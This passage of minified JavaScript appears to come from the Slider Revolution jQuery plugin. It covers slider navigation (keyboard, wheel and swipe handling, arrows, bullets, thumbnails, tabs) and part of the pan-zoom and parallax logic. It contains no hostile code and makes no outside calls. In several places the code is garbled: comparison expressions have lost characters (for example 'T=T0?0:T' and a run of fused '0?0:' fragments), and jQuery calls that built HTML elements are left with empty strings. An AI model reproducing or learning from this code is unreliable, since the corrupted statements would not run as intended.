h=Math.min(p,r.ch*r.visibleAmount+parseFloat(r.space)*(r.visibleAmount-1));i.add(tpGS.gsap.set(d,{width:c+"px",height:h+"px"}))}null!==l.outerWidth()&&(t[e].thumbResized=!0);var m=l.find(".tp-"+s);return m&&jQuery.each(m,function(e,t){"vertical"===r.direction?i.add(tpGS.gsap.set(t,{top:e*(r.ch+parseInt(void 0===r.space?0:r.space,0)),width:r.cw+"px",height:r.ch+"px"})):"horizontal"===r.direction&&i.add(tpGS.gsap.set(t,{left:e*(r.cw+parseInt(void 0===r.space?0:r.space,0)),width:r.cw+"px",height:r.ch+"px"}))}),i},o=function(e){var t=0;return"deltaY"in e||"deltaX"in e?t=0!=e.deltaY&&-0!=e.deltaY||!(e.deltaX<0||e.deltaX>0)?e.deltaY:e.deltaX:("detail"in e&&(t=e.detail),"wheelDelta"in e&&(t=-e.wheelDelta/120),"wheelDeltaY"in e&&(t=-e.wheelDeltaY/120)),((t=navigator.userAgent.match(/mozilla/i)?10*t:t)>300||t<-300)&&(t/=10),t},s=function(e){!0===t[e].navigation.keyboardNavigation&&t.document.on("keydown",function(i){if("horizontal"==t[e].navigation.keyboard_direction&&39==i.keyCode||"vertical"==t[e].navigation.keyboard_direction&&40==i.keyCode){if(void 0!==t[e].keydown_time_stamp&&(new Date).getTime()-t[e].keydown_time_stamp<1e3)return;t[e].sc_indicator="arrow",t[e].sc_indicator_dir=0,"carousel"===t[e].sliderType&&(t[e].ctNavElement=!0),t.callingNewSlide(e,1,"carousel"===t[e].sliderType)}if("horizontal"==t[e].navigation.keyboard_direction&&37==i.keyCode||"vertical"==t[e].navigation.keyboard_direction&&38==i.keyCode){if(void 0!==t[e].keydown_time_stamp&&(new Date).getTime()-t[e].keydown_time_stamp<1e3)return;t[e].sc_indicator="arrow",t[e].sc_indicator_dir=1,"carousel"===t[e].sliderType&&(t[e].ctNavElement=!0),t.callingNewSlide(e,-1,"carousel"===t[e].sliderType)}t[e].keydown_time_stamp=(new Date).getTime()})},n=function(e){t[e].carousel.scrollTicker=t.carScrollTicker.bind(window,e),!0!==t[e].navigation.mouseScrollNavigation&&"on"!==t[e].navigation.mouseScrollNavigation&&"carousel"!==t[e].navigation.mouseScrollNavigation||t[e].c[0].addEventListener("wheel",function(i){var a=o(i),r=!1,s=0==t[e].pr_active_key||0==t[e].pr_processing_key,n=t[e].pr_active_key==t[e].slideamount-1||t[e].pr_processing_key==t[e].slideamount-1,l=void 0!==t[e].topc?t[e].topc[0].getBoundingClientRect():0===t[e].canv.height?t[e].cpar[0].getBoundingClientRect():t[e].c[0].getBoundingClientRect(),d=l.top>=0&&l.bottom<=t.winH?1:l.top>=0&&l.bottom>=t.winH?(t.winH-Math.round(l.top))/l.height:l.top<=0&&l.bottom<=t.winH?Math.round(l.bottom)/l.height:1,c=a<0?-1:1,p=t[e].navigation.wheelViewPort;if(d=Math.round(100*d)/100,"reverse"==t[e].navigation.mouseScrollReverse){var g=n;n=s,s=g}if(p-d<=t[e].navigation.threshold/100&&!(d>=p)&&!(l.top>=0&&-1===c||l.top<=0&&1===c)&&(i.preventDefault(),!t[e].mScrollTween)){var u="window"!==t[e].navigation.target&&t[e].navigation.target?t[e].navigation.target:window;t[e].mScrollTween=tpGS.gsap.to(u,{duration:jQuery.fn.revolution.isWebkit()?.1:.7,scrollTo:{y:t[e].topc},ease:"power2.out",onComplete:function(){t[e].mScrollTween.kill(),delete t[e].mScrollTween}})}if(Math.abs(d-p)<.1||d>=p)return t[e].sc_indicator_dir="reverse"===t[e].navigation.mouseScrollReverse&&c<0||"reverse"!==t[e].navigation.mouseScrollReverse&&c>0?"reverse"!==t[e].navigation.mouseScrollReverse?0:1:"reverse"!==t[e].navigation.mouseScrollReverse?1:0,"carousel"==t[e].navigation.mouseScrollNavigation||0===t[e].sc_indicator_dir&&!n||1===t[e].sc_indicator_dir&&!s?void 0===t[e].pr_processing_key&&!0!==t[e].justmouseScrolled&&(t[e].sc_indicator="arrow","carousel"===t[e].sliderType&&(t[e].ctNavElement=!0),t.callingNewSlide(e,0===t[e].sc_indicator_dir?"reverse"===t[e].navigation.mouseScrollReverse?-1:1:"reverse"===t[e].navigation.mouseScrollReverse?1:-1,"carousel"===t[e].sliderType),t[e].justmouseScrolled=!0,setTimeout(function(){t[e].justmouseScrolled=!1},t[e].navigation.wheelCallDelay)):!0!==t[e].justmouseScrolled&&(r=!0),!!r||(i.preventDefault(i),!1)},{passive:!1})},l=function(e,i){var a=!1;for(var r in(void 0===i.path||t.ISM)&&(a=function(e,t){for(;e&&e!==document;e=e.parentNode)if(e.tagName===t)return e;return!1}(i.target,e)),i.path)i.path.hasOwnProperty(r)&&i.path[r].tagName===e&&(a=!0);return a},d=function(e){var i=t[e].carousel,a=t.is_android();if(jQuery(".bullet, .bullets, .tp-bullets, .tparrows").addClass("noSwipe"),t[e].navigation.touch=void 0===t[e].navigation.touch?{}:t[e].navigation.touch,t[e].navigation.touch.swipe_direction=void 0===t[e].navigation.touch.swipe_direction?"horizontal":t[e].navigation.touch.swipe_direction,t[e].cpar.find(".rs-nav-element").rsswipe({allowPageScroll:"vertical",triggerOnTouchLeave:!0,treshold:t[e].navigation.touch.swipe_treshold,fingers:t[e].navigation.touch.swipe_min_touches>5?1:t[e].navigation.touch.swipe_min_touches,excludedElements:"button, input, select, textarea, .noSwipe, .rs-waction",tap:function(e,t){if(void 0!==t)var i=jQuery(t).closest("rs-thumb");void 0!==i&&i.length>0?i.trigger("click"):(i=jQuery(t).closest("rs-tab")).length>0?i.trigger("click"):(i=jQuery(t).closest("rs-bullet")).length>0&&i.trigger("click")},swipeStatus:function(r,o,s,n,d,c,p){if("start"!==o&&"move"!==o&&"end"!==o&&"cancel"!=o)return!0;var u=l("RS-THUMB",r),m=l("RS-TAB",r);!1===u&&!1===m&&!0!==(u="RS-THUMBS-WRAP"===r.target.tagName||"RS-THUMBS"===r.target.tagName||r.target.className.indexOf("tp-thumb-mask")>=0)&&(m="RS-TABS-WRAP"===r.target.tagName||"RS-TABS"===r.target.tagName||r.target.className.indexOf("tp-tab-mask")>=0);var v="start"===o?0:a?p[0].end.x-p[0].start.x:r.pageX-i.screenX,f="start"===o?0:a?p[0].end.y-p[0].start.y:r.pageY-i.screenY,y=u?".tp-thumbs":".tp-tabs",w=u?".tp-thumb-mask":".tp-tab-mask",b=u?".tp-thumbs-inner-wrapper":".tp-tabs-inner-wrapper",_=u?".tp-thumb":".tp-tab",S=u?t[e].navigation.thumbnails:t[e].navigation.tabs,x=t[e].cpar.find(w),k=x.find(b),L=S.direction,O="vertical"===L?k.height():k.width(),R="vertical"===L?x.height():x.width(),I="vertical"===L?x.find(_).first().outerHeight(!0)+parseFloat(S.space):x.find(_).first().outerWidth(!0)+parseFloat(S.space),M=void 0===k.data("offset")?0:parseInt(k.data("offset"),0),T=0;switch(o){case"start":"vertical"===L&&r.preventDefault(),i.screenX=a?p[0].end.x:r.pageX,i.screenY=a?p[0].end.y:r.pageY,t[e].cpar.find(y).addClass("dragged"),M="vertical"===L?k.position().top:k.position().left,k.data("offset",M),k.data("tmmove")&&k.data("tmmove").pause(),t[e].someNavIsDragged=!0,h(e);break;case"move":if(O<=R)return!1;T=(T=M+("vertical"===L?f:v))>0?"horizontal"===L?T-k.width()*(T/k.width()*T/k.width()):T-k.height()*(T/k.height()*T/k.height()):T;var C="vertical"===L?0-(k.height()-x.height()):0-(k.width()-x.width());T=T0?0:T,T=Math.abs(n)>I/10?n<=0?Math.floor(T/I)*I:Math.ceil(T/I)*I:n<0?Math.ceil(T/I)*I:Math.floor(T/I)*I,T=(T="vertical"===L?T<0-(k.height()-x.height())?0-(k.height()-x.height()):T:T<0-(k.width()-x.width())?0-(k.width()-x.width()):T)>0?0:T,"vertical"===L?tpGS.gsap.to(k,.5,{top:T+"px",ease:"power3.out"}):tpGS.gsap.to(k,.5,{left:T+"px",ease:"power3.out"}),T=T||("vertical"===L?k.position().top:k.position().left),k.data("offset",T),k.data("distance",n),t[e].cpar.find(y).removeClass("dragged"),t[e].someNavIsDragged=!1,!0}}}),"carousel"===t[e].sliderType&&t.setupCarousel(e),"carousel"!==t[e].sliderType&&(t.ISM&&t[e].navigation.touch.touchenabled||!0!==t.ISM&&t[e].navigation.touch.touchOnDesktop)){t[e].navigation.proxy=document.createElement("div");var r=t[e].navigation,o={trigger:t[e].c[0],type:"horizontal"===t[e].navigation.touch.swipe_direction?"x":"y",cursor:"pointer",lockAxis:!0,onPress:function(i){t.closestClass(i.target,"rs-nav-element")&&(t[e].navigation.draggable.endDrag(),t[e].navigation.draggable.disable()),r.touch.pressX=i.pageX,r.touch.pressY=i.pageY},onDragStart:function(){var i=void 0!==t[e].pr_processing_key?t[e].pr_processing_key:void 0===t[e].pr_active_key?0:t[e].pr_active_key;"up"===this.getDirection()&&i==t[e].slideamount-1||"down"===this.getDirection()&&0===i?r.forceScroll=!0:r.forceScroll=!1},onDragEnd:function(i){t[e].sc_indicator="arrow";var a,r=this.getDirection(),o=t[e].navigation;if(Math.abs(i.pageY-o.touch.pressY)>Math.abs(i.pageX-o.touch.pressX)){if("right"===r||"left"===r)return}else if(Math.abs(i.pageY-o.touch.pressY)>Math.abs(i.pageX-o.touch.pressX)&&("up"===r||"down"===r))return;return o.forceScroll?(a="up"===this.getDirection()?t[e].cpar.offset().top+t[e].module.height:t.document.scrollTop()-(window.innerHeight-t[e].cpar[0].getBoundingClientRect().top),void(t[e].modal.useAsModal||tpGS.gsap.to([window,"body"],{scrollTo:a}))):"horizontal"==t[e].navigation.touch.swipe_direction&&"left"==r||"vertical"==t[e].navigation.touch.swipe_direction&&"up"==r?(t[e].sc_indicator_dir=0,t.callingNewSlide(e,1),!1):"horizontal"==t[e].navigation.touch.swipe_direction&&"right"==r||"vertical"==t[e].navigation.touch.swipe_direction&&"down"==r?(t[e].sc_indicator_dir=1,t.callingNewSlide(e,-1),!1):void 0}};r.touch.drag_block_vertical||(t.ISM&&(o.allowContextMenu=!0),o.allowEventDefault=!0),t[e].navigation.draggable=tpGS.draggable.create(t[e].navigation.proxy,o)}"carousel"===t[e].sliderType&&(t.ISM&&0==t[e].navigation.touch.mobileCarousel||!0!==t.ISM&&!1===t[e].navigation.touch.desktopCarousel)&&i.wrap.addClass("noswipe"),t[e].navigation.touch.drag_block_vertical&&t[e].c.addClass("disableVerticalScroll")},c=function(e){e.hide_delay=t.isNumeric(parseInt(e.hide_delay,0))?e.hide_delay:.2,e.hide_delay_mobile=t.isNumeric(parseInt(e.hide_delay_mobile,0))?e.hide_delay_mobile:.2},p=function(e){return e&&e.enable},g=function(e){clearTimeout(e)},u=function(e){var i=t[e].navigation.maintypes;for(var a in i)i.hasOwnProperty(a)&&p(t[e].navigation[i[a]])&&void 0!==t[e].navigation[i[a]].c&&(g(t[e].navigation[i[a]].showCall),t[e].navigation[i[a]].showCall=setTimeout(function(i){g(i.hideCall),i.hide_onleave&&!0!==t[e].tpMouseOver||(void 0===i.tween?i.tween=v(i):i.tween.play())},t[e].navigation[i[a]].hide_onleave&&!0!==t[e].tpMouseOver?0:parseInt(t[e].navigation[i[a]].animDelay),t[e].navigation[i[a]]))},h=function(e){var i=t[e].navigation.maintypes;for(var a in i)i.hasOwnProperty(a)&&void 0!==t[e].navigation[i[a]]&&t[e].navigation[i[a]].hide_onleave&&p(t[e].navigation[i[a]])&&g(t[e].navigation[i[a]].hideCall)},m=function(e,i){var a=t[e].navigation.maintypes;for(var r in a)a.hasOwnProperty(r)&&void 0!==t[e].navigation[a[r]]&&t[e].navigation[a[r]].hide_onleave&&p(t[e].navigation[a[r]])&&(g(t[e].navigation[a[r]].hideCall),t[e].navigation[a[r]].hideCall=setTimeout(function(e){g(e.showCall),e.tween&&e.tween.reverse()},t.ISM?parseInt(t[e].navigation[a[r]].hide_delay_mobile,0):parseInt(t[e].navigation[a[r]].hide_delay,0),t[e].navigation[a[r]]))},v=function(e){e.speed=void 0===e.animSpeed?.5:e.animSpeed,e.anims=[],void 0!==e.anim&&void 0===e.left&&e.anims.push(e.anim),void 0!==e.left&&e.anims.push(e.left.anim),void 0!==e.right&&e.anims.push(e.right.anim);var t=tpGS.gsap.timeline();for(var i in t.add(tpGS.gsap.to(e.c,e.speed,{delay:e.animDelay,opacity:1,ease:"power3.inOut"}),0),e.anims)if(e.anims.hasOwnProperty(i))switch(e.anims[i]){case"left":t.add(tpGS.gsap.fromTo(e.c[i],e.speed,{marginLeft:-50},{delay:e.animDelay,marginLeft:"0px",ease:"power3.inOut"}),0);break;case"right":t.add(tpGS.gsap.fromTo(e.c[i],e.speed,{marginLeft:50},{delay:e.animDelay,marginLeft:"0px",ease:"power3.inOut"}),0);break;case"top":t.add(tpGS.gsap.fromTo(e.c[i],e.speed,{marginTop:-50},{delay:e.animDelay,marginTop:"0px",ease:"power3.inOut"}),0);break;case"bottom":t.add(tpGS.gsap.fromTo(e.c[i],e.speed,{marginTop:50},{delay:e.animDelay,marginTop:"0px",ease:"power3.inOut"}),0);break;case"zoomin":t.add(tpGS.gsap.fromTo(e.c[i],e.speed,{scale:.5},{delay:e.animDelay,scale:1,ease:"power3.inOut"}),0);break;case"zoomout":t.add(tpGS.gsap.fromTo(e.c[i],e.speed,{scale:1.2},{delay:e.animDelay,scale:1,ease:"power3.inOut"}),0)}return t.play(),t},f=function(e,i){e.style=void 0===e.style?"":e.style,e.left.style=void 0===e.left.style?"":e.left.style,e.right.style=void 0===e.right.style?"":e.right.style,void 0===e.left.c&&(e.left.c=jQuery(''+e.tmp+""),t[i].c.append(e.left.c)),void 0===e.right.c&&(e.right.c=jQuery(''+e.tmp+""),t[i].c.append(e.right.c)),e[e.rtl?"left":"right"].c.on("click",function(){"carousel"===t[i].sliderType&&(t[i].ctNavElement=!0),t[i].sc_indicator="arrow",t[i].sc_indicator_dir=0,t[i].c.revnext()}),e[e.rtl?"right":"left"].c.on("click",function(){"carousel"===t[i].sliderType&&(t[i].ctNavElement=!0),t[i].sc_indicator="arrow",t[i].sc_indicator_dir=1,t[i].c.revprev()}),e.padding_top=parseInt(t[i].carousel.padding_top||0,0),e.padding_bottom=parseInt(t[i].carousel.padding_bottom||0,0),b(e.left,i),b(e.right,i),"outer-left"!=e.position&&"outer-right"!=e.position||(t[i].outernav=!0)},y=function(e,i,a,r){r=void 0===r?e.outerHeight(!0):r;var o=null==t[a]?0:0==t[a].canv.height?t[a].module.height:t[a].canv.height,s="layergrid"==i.container?"fullscreen"==t[a].sliderLayout?t[a].module.height/2-t[a].gridheight[t[a].level]*t[a].CM.h/2:t[a].autoHeight||null!=t[a].minHeight&&t[a].minHeight>0?o/2-t[a].gridheight[t[a].level]*t[a].CM.h/2:0:0,n="top"===i.v_align?{top:"0px",y:Math.round(i.v_offset+s)+"px"}:"center"===i.v_align?{top:"50%",y:Math.round(0-r/2+i.v_offset)+"px"}:{top:"100%",y:Math.round(0-(r+i.v_offset+s))+"px"};e.hasClass("outer-bottom")||tpGS.gsap.set(e,n)},w=function(e,i,a,r){r=void 0===r?e.outerWidth():r;var o="layergrid"===i.container?t[a].module.width/2-t[a].gridwidth[t[a].level]*t[a].CM.w/2:0,s="left"===i.h_align?{left:"0px",x:Math.round(i.h_offset+o)+"px"}:"center"===i.h_align?{left:"50%",x:Math.round(0-r/2+i.h_offset)+"px"}:{left:"100%",x:Math.round(0-(r+i.h_offset+o))+"px"};tpGS.gsap.set(e,s)},b=function(e,i){if(null!=e&&void 0!==e.c){var a="fullwidth"==t[i].sliderLayout||"fullscreen"==t[i].sliderLayout?t[i].module.width:t[i].canv.width,r=e.c.outerWidth(),o=e.c.outerHeight();if(!(r<=0||o<=0)&&(y(e.c,e,i,o),w(e.c,e,i,r),"outer-left"===e.position?tpGS.gsap.set(e.c,{left:0-r+"px",x:e.h_offset+"px"}):"outer-right"===e.position&&tpGS.gsap.set(e.c,{right:0-r+"px",x:e.h_offset+"px"}),"tp-thumb"===e.type||"tp-tab"===e.type)){var s=parseInt(e.padding_top||0,0),n=parseInt(e.padding_bottom||0,0),l={},d={};e.maxw>a&&"outer-left"!==e.position&&"outer-right"!==e.position?(l.left="0px",l.x=0,l.maxWidth=a-2*e.wpad+"px",d.maxWidth=a-2*e.wpad+"px"):(l.maxWidth=e.maxw,d.maxWidth=a+"px"),e.maxh+2*e.wpad>t[i].conh&&"outer-bottom"!==e.position&&"outer-top"!==e.position?(l.top="0px",l.y=0,l.maxHeight=s+n+(t[i].conh-2*e.wpad)+"px",d.maxHeight=s+n+(t[i].conh-2*e.wpad)+"px"):(l.maxHeight=e.maxh+"px",d.maxHeight=e.maxh+"px"),e.mask=void 0===e.mask?e.c.find("rs-navmask"):e.mask,(e.mhoff>0||e.mvoff>0)&&(d.padding=e.mvoff+"px "+e.mhoff+"px"),e.span?("layergrid"==e.container&&"outer-left"!==e.position&&"outer-right"!==e.position&&(s=n=0),"vertical"===e.direction?(l.maxHeight=s+n+(t[i].conh-2*e.wpad)+"px",l.height=s+n+(t[i].conh-2*e.wpad)+"px",l.top=0,l.y=0,d.maxHeight=s+n+Math.min(e.maxh,t[i].conh-2*e.wpad)+"px",tpGS.gsap.set(e.c,l),tpGS.gsap.set(e.mask,d),y(e.mask,e,i)):"horizontal"===e.direction&&(l.maxWidth="100%",l.width=a-2*e.wpad+"px",l.left=0,l.x=0,d.maxWidth=e.maxw>=a?"100%":Math.min(e.maxw,a)+"px",tpGS.gsap.set(e.c,l),tpGS.gsap.set(e.mask,d),w(e.mask,e,i))):(tpGS.gsap.set(e.c,l),tpGS.gsap.set(e.mask,d))}}},_=function(e,i,a,r){0===e.find(".tp-bullets").length&&(i.style=void 0===i.style?"":i.style,i.c=jQuery(''));var o=a.data("key"),s=i.tmp;void 0!==t[r].thumbs[a.index()]&&jQuery.each(t[r].thumbs[a.index()].params,function(e,t){s=s.replace(t.from,t.to)});var n=jQuery(''+s+"");void 0!==t[r].thumbs[a.index()]&&n.find(".tp-bullet-image").css({backgroundImage:"url("+t[r].thumbs[a.index()].src+")"}),i.c.append(n),e.append(i.c);var l=i.c.find(".tp-bullet").length,d=n.outerWidth(),c=n.outerHeight(),p=d+parseInt(void 0===i.space?0:i.space,0),g=c+parseInt(void 0===i.space?0:i.space,0);"vertical"===i.direction?(n.css({top:(l-1)*g+"px",left:"0px"}),i.c.css({height:(l-1)*g+c,width:d})):(n.css({left:(l-1)*p+"px",top:"0px"}),i.c.css({width:(l-1)*p+d,height:c})),n.on("click",function(){"carousel"===t[r].sliderType&&(t[r].ctNavElement=!0),t[r].sc_indicator="bullet",e.revcallslidewithid(o),e.find(".tp-bullet").removeClass("selected"),jQuery(this).addClass("selected")}),i.padding_top=parseInt(t[r].carousel.padding_top||0,0),i.padding_bottom=parseInt(t[r].carousel.padding_bottom||0,0),"outer-left"!=i.position&&"outer-right"!=i.position||(t[r].outernav=!0)},S=function(e,i,a,r,o){var s="tp-thumb"===r?".tp-thumbs":".tp-tabs",n="tp-thumb"===r?".tp-thumb-mask":".tp-tab-mask",l="tp-thumb"===r?".tp-thumbs-inner-wrapper":".tp-tabs-inner-wrapper",d="tp-thumb"===r?".tp-thumb":".tp-tab",c="tp-thumb"===r?".tp-thumb-image":".tp-tab-image",p="tp-thumb"===r?"rs-thumb":"rs-tab";i.type=r,i.visibleAmount=i.visibleAmount>t[o].slideamount?t[o].slideamount:i.visibleAmount,i.sliderLayout=t[o].sliderLayout,void 0===i.c&&(i.wpad=i.wrapper_padding,i.c=jQuery("<"+p+'s style="opacity:0" class="nav-dir-'+i.direction+" nav-pos-ver-"+i.v_align+" nav-pos-hor-"+i.h_align+" rs-nav-element "+r+"s "+(!0===i.span?"tp-span-wrapper":"")+" "+i.position+" "+(void 0===i.style?"":i.style)+'"><'+p+'s-wrap class="'+r+'s-inner-wrapper" style="position:relative;">"),i.c.css({overflow:"visible",position:"outer-top"===i.position||"outer-bottom"===i.position?"relative":"absolute",background:i.wrapper_color,padding:i.wpad+"px",boxSizing:"contet-box"}),"outer-top"===i.position?e.parent().prepend(i.c):"outer-bottom"===i.position?e.after(i.c):e.append(i.c),"outer-left"!==i.position&&"outer-right"!==i.position||tpGS.gsap.set(t[o].c,{overflow:"visible"}),i.padding_top=parseInt(t[o].carousel.padding_top||0,0),i.padding_bottom=parseInt(t[o].carousel.padding_bottom||0,0),"outer-left"!=i.position&&"outer-right"!=i.position||(t[o].outernav=!0));var g=a.data("key"),u=i.c.find(n),h=u.find(l),m=i.tmp;i.space=parseFloat(i.space)||0,i.maxw="horizontal"===i.direction?i.width*i.visibleAmount+i.space*(i.visibleAmount-1):i.width,i.maxh="horizontal"===i.direction?i.height:i.height*i.visibleAmount+i.space*(i.visibleAmount-1),i.maxw+=2*i.mhoff,i.maxh+=2*i.mvoff,void 0!==t[o].thumbs[a.index()]&&jQuery.each(t[o].thumbs[a.index()].params,function(e,t){m=m.replace(t.from,t.to)});var v=jQuery("<"+p+' data-liindex="'+a.index()+'" data-key="'+g+'" class="'+r+'" style="width:'+i.width+"px;height:"+i.height+'px;">'+m+"<"+p+">");void 0!==t[o].thumbs[a.index()]&&v.find(c).css({backgroundImage:"url("+t[o].thumbs[a.index()].src+")"}),h.append(v);var f=i.c.find(d).length,y=v.outerWidth(),w=v.outerHeight(),b=y+parseInt(void 0===i.space?0:i.space,0),_=w+parseInt(void 0===i.space?0:i.space,0);"vertical"===i.direction?(v.css({top:(f-1)*_+"px",left:"0px"}),h.css({height:(f-1)*_+w,width:y})):(v.css({left:(f-1)*b+"px",top:"0px"}),h.css({width:(f-1)*b+y,height:w})),u.css({maxWidth:i.maxw+"px",maxHeight:i.maxh+"px"}),i.c.css({maxWidth:i.maxw+"px",maxHeight:i.maxh+"px"}),v.on("click",function(){t[o].sc_indicator="bullet","carousel"===t[o].sliderType&&(t[o].ctNavElement=!0);var i=e.parent().find(l).data("distance");i=void 0===i?0:i,Math.abs(i)<10&&(e.revcallslidewithid(g),e.parent().find(s).removeClass("selected"),jQuery(this).addClass("selected"))})},x=function(e,i,a){return null==e||void 0===e.c?a:(e.hide_under>t[i].canv.width||t[i].canv.width>e.hide_over?(!0!==e.tpForceNotVisible&&(e.c.addClass("tp-forcenotvisible"),e.isVisible=!1,a=!0),e.tpForceNotVisible=!0):(!1!==e.tpForceNotVisible&&(e.c.removeClass("tp-forcenotvisible"),e.isVisible=!0,a=!0),e.tpForceNotVisible=!1),a)};window.RS_MODULES=window.RS_MODULES||{},window.RS_MODULES.navigation={loaded:!0,version:"6.6.0"},window.RS_MODULES.checkMinimal&&window.RS_MODULES.checkMinimal()}(jQuery),function(e){"use strict";window._R_is_Editor?RVS._R=void 0===RVS._R?{}:RVS._R:window._R_is_Editor=!1,jQuery.fn.revolution=jQuery.fn.revolution||{};var t=_R_is_Editor?RVS._R:jQuery.fn.revolution;jQuery.extend(!0,t,{bgW:function(e,i){return _R_is_Editor?RVS.RMD.width:"carousel"===t[e].sliderType?t[e].justifyCarousel?t[e].carousel.slide_widths[void 0!==i?i:t[e].carousel.focused]:t[e].carousel.slide_width:t[e].module.width},bgH:function(e,i){return _R_is_Editor?RVS.RMD.height:"carousel"===t[e].sliderType?t[e].carousel.slide_height:t[e].module.height},getPZSides:function(e,t,i,a,r,o,s){var n=e*i,l=t*i,d=Math.abs(a-n),c=Math.abs(r-l),p=new Object;return p.l=(0-o)*d,p.r=p.l+n,p.t=(0-s)*c,p.b=p.t+l,p.h=o,p.v=s,p},getPZCorners:function(e,i,a,r){var o=e.bgposition.split(" ")||"center center",s="center"==o[0]?"50%":"left"==o[0]||"left"==o[1]?"0%":"right"==o[0]||"right"==o[1]?"100%":o[0],n="center"==o[1]?"50%":"top"==o[0]||"top"==o[1]?"0%":"bottom"==o[0]||"bottom"==o[1]?"100%":o[1];s=parseInt(s,0)/100||0,n=parseInt(n,0)/100||0;var l=new Object;return l.start=t.getPZSides(r.start.width,r.start.height,r.start.scale,i,a,s,n),l.end=t.getPZSides(r.start.width,r.start.height,r.end.scale,i,a,s,n),l},getPZValues:function(e){var t=e.panzoom.split(";"),i={duration:10,ease:"none",scalestart:1,scaleend:1,rotatestart:.01,rotateend:0,blurstart:0,blurend:0,offsetstart:"0/0",offsetend:"0/0"};for(var a in t)if(t.hasOwnProperty(a)){var r=t[a].split(":"),o=r[0],s=r[1];switch(o){case"d":i.duration=parseInt(s,0)/1e3;break;case"e":i.ease=s;break;case"ss":i.scalestart=parseInt(s,0)/100;break;case"se":i.scaleend=parseInt(s,0)/100;break;case"rs":i.rotatestart=parseInt(s,0);break;case"re":i.rotateend=parseInt(s,0);break;case"bs":i.blurstart=parseInt(s,0);break;case"be":i.blurend=parseInt(s,0);break;case"os":i.offsetstart=s;break;case"oe":i.offsetend=s}}return i.offsetstart=i.offsetstart.split("/")||[0,0],i.offsetend=i.offsetend.split("/")||[0,0],i.rotatestart=0===i.rotatestart?.01:i.rotatestart,e.panvalues=i,e.bgposition="center center"==e.bgposition?"50% 50%":e.bgposition,i},pzCalcL:function(e,i,a){var r,o,s,n,l,d,c=void 0===a.panvalues?jQuery.extend(!0,{},t.getPZValues(a)):jQuery.extend(!0,{},a.panvalues),p=c.offsetstart,g=c.offsetend,u={start:{width:e,height:_R_is_Editor?e/a.loadobj.width*a.loadobj.height:e/a.owidth*a.oheight,rotation:Math.PI/180*c.rotatestart,rotationV:c.rotatestart,scale:c.scalestart,transformOrigin:"0% 0%"},end:{rotation:Math.PI/180*c.rotateend,rotationV:c.rotateend,scale:c.scaleend}};c.scalestart,a.owidth,a.oheight,c.scaleend,a.owidth,a.oheight;return u.start.height0?0:o+p[0]0?0:n+g[0]0?0:s+p[1]0?0:l+g[1]');tpGS.gsap.set(o,{force3D:"auto",transformPerspective:1600,transformOrigin:"50% 50%",width:"100%",height:"100%",position:"absolute",top:0,left:0,zIndex:0}),t[e].c.prepend(o)}for(var s in t[e].slides)t[e].slides.hasOwnProperty(s)&&i(jQuery(t[e].slides[s]),e);t[e].c.find("rs-static-layers").length>0&&(tpGS.gsap.set(t[e].c.find("rs-static-layers"),{top:0,left:0,width:"100%",height:"100%"}),i(t[e].c.find("rs-static-layers"),e))}r.pcontainers={},r.bgcontainers=[],r.bgcontainer_depths=[],r.speed=void 0===r.speed?0:parseInt(r.speed,0),r.speedbg=void 0===r.speedbg?0:parseInt(r.speedbg,0),r.speedls=void 0===r.speedls?0:parseInt(r.speedls,0),t[e].c.find("rs-slide rs-sbg-wrap, rs-slide rs-bgvideo").each(function(){var i=jQuery(this),a=i.data("parallax");window.isSafari11||(t[e].parZ=1),void 0!==(a="on"==a||!0===a?1:a)&&"off"!==a&&!1!==a&&(r.bgcontainers.push(i.closest("rs-sbg-px")),r.bgcontainer_depths.push(t[e].parallax.levels[parseInt(a,0)-1]/100))});for(s=1;s<=r.levels.length;s++){for(var n in t[e].slides)if(t[e].slides.hasOwnProperty(n)){var l=(c=t[e].slides[n]).dataset.key;void 0===r.pcontainers[l]&&(r.pcontainers[l]={}),a(s,r,c,r.pcontainers[l])}l="static";void 0===r.pcontainers[l]&&(r.pcontainers[l]={}),a(s,r,t[e].slayers[0],r.pcontainers[l]),JSON.stringify(r.pcontainers[l])==JSON.stringify({})&&delete r.pcontainers[l]}if("mouse"==r.type||"mousedrag"==r.type||"mousescroll"==r.type||"3D"==r.type||"3d"==r.type){var d="rs-slide .dddwrapper, .dddwrappershadow, rs-slide .dddwrapper-layer, rs-static-layers .dddwrapper-layer";for(var n in"carousel"===t[e].sliderType&&(d="rs-slide .dddwrapper, rs-slide .dddwrapper-layer, rs-static-layers .dddwrapper-layer"),r.sctors={},t[e].slides)if(t[e].slides.hasOwnProperty(n)){var c;l=(c=t[e].slides[n]).dataset.key;r.sctors[l]=c.querySelectorAll(d)}t[e].slayers[0]&&(r.sctors.static=t[e].slayers[0].querySelectorAll(d)),r.mouseEntered=!1,t[e].c.on("mouseenter",function(i){var a=t[e].c.offset().top,o=t[e].c.offset().left;r.mouseEnterX=i.pageX-o,r.mouseEnterY=i.pageY-a,r.mouseEntered=!0}),r.parallaxHandler=this.updateParallax.bind(this,e,r),r.hasAlreadyPermission=!1,"mousedrag"!=r.type&&t[e].c.on("mousemove.hoverdir, mouseleave.hoverdir, trigger3dpath",function(e){r.eventData=e,void 0!==r.frame&&"mouseleave"!==e.type||(r.frame=window.requestAnimationFrame(r.parallaxHandler))}),t.ISM&&(t.modulesNeedOrientationListener=null==t.modulesNeedOrientationListener?{}:t.modulesNeedOrientationListener,t.modulesNeedOrientationListener[e]=!0,t.addDeviceOrientationListener(e))}var p=t[e].scrolleffect;p.set&&(p.multiplicator_layers=parseFloat(p.multiplicator_layers),p.multiplicator=parseFloat(p.multiplicator)),void 0!==p._L&&0===p._L.length&&(p._L=!1),void 0!==p.bgs&&0===p.bgs.length&&(p.bgs=!1)}},removeIOSPermissionWait:function(){document.querySelectorAll(".iospermaccwait").forEach(function(e){e.classList.add("permanenthidden")})},addDeviceOrientationListener:function(e){var i=t[e].parallax;window.addEventListener("deviceorientation",function(a){t.modulesNeedOrientationListener[e]&&(t.modulesNeedOrientationListener[e]=!1,t.removeIOSPermissionWait()),i.eventData=a,void 0===i.frame&&(i.frame=window.requestAnimationFrame(i.parallaxHandler))})},getAccelerationPermission:function(e){DeviceMotionEvent.requestPermission().then(function(e){if("granted"==e)for(var i in t.modulesNeedOrientationListener)t.modulesNeedOrientationListener.hasOwnProperty(i)&&(t.modulesNeedOrientationListener[i]=!1,t.removeIOSPermissionWait(),t.addDeviceOrientationListener(i))})},getLayerParallaxOffset:function(e,i,a){return void 0!==t[e].parallax&&void 0!==t[e].parallax.pcontainers&&void 0!==t[e].parallax.pcontainers[t[e]._L[i].slidekey]&&void 